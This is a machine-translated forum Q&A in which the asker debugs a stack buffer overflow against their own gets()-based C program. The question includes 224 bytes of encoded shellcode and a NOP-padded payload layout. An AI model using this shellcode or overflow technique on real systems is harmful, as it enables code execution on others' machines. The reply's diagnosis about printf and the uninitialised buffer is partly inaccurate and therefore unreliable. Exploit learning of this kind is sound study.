Question

我在免疫调试器中收到此错误：

阅读[90909090]
时的访问冲突

我想利用一个简单的c代码：我给它一个很长的输入来重写返回地址，当它跳转到新的返回地址并开始运行我的shellcode时，我得到了错误。

这是我的c代码：

#include <stdio.h>

int main(int argc ,char** argv)
{
    int cookie;
    char buffer[300];
    printf(" buffer : %08x\r\n",&buffer);
    gets(buffer);
    return 0;
}

这是我的shellcode：

0xbd,0xec,0xf4,0xe7,0x5a,0xdb,0xd2,0xd9,0x74,0x24,0xf4,0x58,
0x31,0xc9,0xb1,0x32,0x31,0x68,0x12,0x03,0x68,0x12,0x83,0x2c,
0xf0,0x05,0xaf,0x50,0x11,0x40,0x50,0xa8,0xe2,0x33,0xd8,0x4d,
0xd3,0x61,0xbe,0x06,0x46,0xb6,0xb4,0x4a,0x6b,0x3d,0x98,0x7e,
0xf8,0x33,0x35,0x71,0x49,0xf9,0x63,0xbc,0x4a,0xcf,0xab,0x12,
0x88,0x51,0x50,0x68,0xdd,0xb1,0x69,0xa3,0x10,0xb3,0xae,0xd9,
0xdb,0xe1,0x67,0x96,0x4e,0x16,0x03,0xea,0x52,0x17,0xc3,0x61,
0xea,0x6f,0x66,0xb5,0x9f,0xc5,0x69,0xe5,0x30,0x51,0x21,0x1d,
0x3a,0x3d,0x92,0x1c,0xef,0x5d,0xee,0x57,0x84,0x96,0x84,0x66,
0x4c,0xe7,0x65,0x59,0xb0,0xa4,0x5b,0x56,0x3d,0xb4,0x9c,0x50,
0xde,0xc3,0xd6,0xa3,0x63,0xd4,0x2c,0xde,0xbf,0x51,0xb1,0x78,
0x4b,0xc1,0x11,0x79,0x98,0x94,0xd2,0x75,0x55,0xd2,0xbd,0x99,
0x68,0x37,0xb6,0xa5,0xe1,0xb6,0x19,0x2c,0xb1,0x9c,0xbd,0x75,
0x61,0xbc,0xe4,0xd3,0xc4,0xc1,0xf7,0xbb,0xb9,0x67,0x73,0x29,
0xad,0x1e,0xde,0x27,0x30,0x92,0x64,0x0e,0x32,0xac,0x66,0x20,
0x5b,0x9d,0xed,0xaf,0x1c,0x22,0x24,0x94,0xd3,0x68,0x65,0xbc,
0x7b,0x35,0xff,0xfd,0xe1,0xc6,0xd5,0xc1,0x1f,0x45,0xdc,0xb9,
0xdb,0x55,0x95,0xbc,0xa0,0xd1,0x45,0xcc,0xb9,0xb7,0x69,0x63,
0xb9,0x9d,0x09,0xe2,0x29,0x7d,0xce

shell的长度为224字节，返回地址为偏移量312，因此我的输入格式为：

shellcode+'\x90'*88+ReturnAddress

Answer 1

您的代码中的

printf()语句错误，需要&个确认：

printf(" buffer : %08x\r\n", &buffer);
                             ^   remove

接下来，您char buffer[300];有垃圾值，即使您删除&，也会导致未定义的行为。

注意：正如David RF注意到您使用的是不推荐使用的gets()。您应该使用char * fgets ( char * str, int num, FILE * stream );函数来避免缓冲区溢出攻击。

bwt，我第一次阅读一个程序，其中缓冲区是printf，然后再从用户那里读取！（为什么这样？）

免疫调试器错误：“阅读时访问违规[90909090]”

1 个答案: